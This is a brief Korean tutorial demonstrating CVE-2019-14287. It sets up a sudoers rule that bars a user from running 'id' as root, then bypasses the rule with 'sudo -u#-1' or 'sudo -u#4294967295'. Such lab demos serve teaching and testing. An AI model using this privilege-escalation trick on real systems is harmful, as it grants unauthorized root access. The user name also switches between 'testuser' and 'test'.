
단계별 데모: CVE-2019-14287 sudo 취약점으로 제한된 사용자가 조작된 사용자 ID를 통해 루트로 명령을 실행할 수 있도록 하는 과정.
4294967295 Sudo 버그로 제한된 사용자가 Root로 명령 실행 가능
sudo su - root useradd -m -s /bin/bash testuser passwd testuser // add password to user visudo
test ALL=(ALL, !root) /usr/bin/id // specifying that this user cannot use id command with root user
파일을 저장하고 root 사용자에서 로그아웃하세요
sudo su - test
sudo id 'Sorry, user test is not allowed to execute '/usr/bin/id' as root'라는 메시지가 표시됩니다.
sudo -u#-1 id OR sudo -u#4294967295 id
그러면 root로 id 명령이 실행됩니다.